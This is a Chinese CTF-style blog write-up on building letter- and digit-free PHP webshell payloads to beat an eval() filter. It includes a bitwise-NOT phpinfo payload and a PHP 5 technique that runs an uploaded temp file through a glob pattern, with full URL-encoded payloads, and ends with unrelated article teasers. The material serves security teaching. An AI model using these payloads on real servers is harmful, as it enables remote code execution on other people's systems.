无字母数字webshell之命令执行

news/2024/9/24 11:24:22/

文章目录

  • 无字母数字的webshell构造技巧
    • php7下简单解决问题
    • php5下解决问题
      • glob
      • 开始操作

无字母数字的webshell构造技巧

<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}

分析这道题的限制:
1、webshell长度不能超过35位。
2、不能输入大小写字母、数字、_和$.

php7下简单解决问题

php7是允许($a)();执行动态函数,例如(‘phpinfo’)();所以,我们可以构造一个可以生成phpinfo这个字符串的php表达式即可。payload如下(不可见字符用url编码表示,其实也就是phpinfo取反为%8F%97%8F%96%91%99%90,当其再次取反,那么就是phpinfo):

(~%8F%97%8F%96%91%99%90)();
?code=(~%8F%97%8F%96%91%99%90)();

在这里插入图片描述

什么是取反呢?
回想计算机组成原理的原码、反码、补码。这里的反码才是取反。

php5下解决问题

尝试php7下的payload。显然是不可以的。
那我们不妨尝试其他方法。
在上传文件时,会在/tmp下生成一个临时文件,很快就被删除,那怎么处理?
现在要解决几个问题:怎么在临时文件没被删除时匹配到他?以怎样的方式匹配?以及怎么执行。
先创建一个文件上传,上传文件查看临时文件。

已经生成临时文件,那么如何匹配呢?下面分析。可以使用到.加空格加文件进行执行,就算没有权限一样可以执行。
那么接下来解决匹配文件名的问题。
多次观察发现临时文件的最后一位一次是大写,一次是小写,但在Linux下没有名字为大写的文件。
那么就要用的glob通配符了。

glob

?匹配任意一个字符。
* 匹配任意多个字符

匹配4位任意字符

????

排除第三位为.的

??[^.]?

查询ascii码和global规则之后发现,可以下面这样匹配大写字母

[@-[]

那么匹配临时文件就是

/tmp/????????[@-[]

开始操作

首先抓一个上传文件的包和web.php的包。
上传文件里面写入

#!/bin/bash/id

在这里插入图片描述

将web.php的包改为POST方式,并且将上传文件的包中的Content-Type以及文件内容也放进web.php的包。并且利用get的方式传递参数。
get的参数code最终会走入eval中。
官方文档查eval函数发现要先把其闭合,再写自己的代码。并且<?php可以写成<?=。
get传递的参数为

?code=?><?=`. /???/????????[@-[]`;?>

又因为是通过url传递,不能传递空格等,那么只能使用url编码对?以及空格和;进行编码。空格可以使用+代替

?code=%3F%3E%3C%3F%3D%60%2E%20%2F%3F%3F%3F%2F%3F%3F%3F%3F%3F%3F%3F%3F%5B%40%2D%5B%5D%60%3B%3F%3E

在这里插入图片描述
在这里插入图片描述
在burp里可以不用转码。


http://www.ppmy.cn/news/1508965.html

相关文章

论文分享|MLLMs中多种模态(图像/视频/音频/语音)的tokenizer梳理

本文旨在对任意模态输入-任意模态输出 (X2X) 的LLM的编解码方式进行简单梳理&#xff0c;同时总结一些代表性工作。 注&#xff1a;图像代表Image&#xff0c;视频代表Video&#xff08;不含声音&#xff09;&#xff0c;音频代表 Audio/Music&#xff0c;语音代表Speech 各种…

unity--webgl 访问本地index.html

目录 1:使用本地服务器 1.1 使用 Python 的 SimpleHTTPServer 1.2 使用 Node.js 的 http-server 2&#xff1a;让其他人通过 IP 地址来访问你的 Unity WebGL 项目 2.1: 确保服务器可访问 2.2 获取公共 IP 地址 2.3 配置本地服务器 1.使用 Python 的 SimpleHTTPServer 2…

数据库原理面试-核心概念-问题理解

目录 1.数据库、数据库系统与数据库管理系统 2.理解数据独立性 3.数据模型 4.模式、外模式和内模式 5.关系和关系数据库 6.主键与外键 7.SQL语言 8.索引与视图 9.数据库安全 10.数据库完整性 11.数据依赖和函数依赖 12.范式&#xff1f;三范式&#xff1f;为什么要遵…

WMS助力企业数字化转型(六)

在当今数字化时代&#xff0c;仓库管理系统&#xff08;WMS&#xff09;作为推动企业数字化转型的重要工具&#xff0c;通过实时数据监控、自动化操作和智能分析&#xff0c;大幅提升了仓储管理的效率与精准度&#xff0c;为企业在供应链优化、库存控制和客户满意度方面带来了显…

Leetcode每日一题 20240813 3151.特殊数组Ⅰ

题目描述 如果数组的每一对相邻元素都是两个奇偶性不同的数字&#xff0c;则该数组被认为是一个 特殊数组 。 Aging 有一个整数数组 nums。如果 nums 是一个 特殊数组 &#xff0c;返回 true&#xff0c;否则返回 false。 3151.特殊数组Ⅰ 测试案例及提示 示例 1&#xff1a…

记录一次绕过 Android 服务端的证书校验的详细过程

前言 本来想挑一个 APP 抓包练练手&#xff0c;因为基础不是很好&#xff0c;想提升实战水平&#xff0c;结果一不小心挑了个不寻常的&#xff08;对于我而言&#xff0c;大佬勿喷&#xff09;&#xff0c;但因为自己比较固执&#xff0c;不死心&#xff0c;花了几天时间总算搞…

网站地图制作有什么好处?Sitemap地图如何制作?

网站地图又叫站点地图&#xff0c;我们可以理解为一个包含网站中所有页面链接的容器&#xff0c;主要是帮助搜索引擎快速抓取网站的中的所有页面。很多新人可能对地图了解还不够深入&#xff0c;今天小编详细讲下网站地图制作的好处&#xff0c;还有Sitemap地图如何制作&#x…

Qt .qm文件的加载和使用

在Qt应用程序中&#xff0c;你可以使用QTranslator类来加载和使用.qm文件。以下是一个简单的示例&#xff1a; #include <QCoreApplication> #include <QTranslator> #include <QDebug> int main(int argc, char *argv[]) { QCoreApplication a(argc, ar…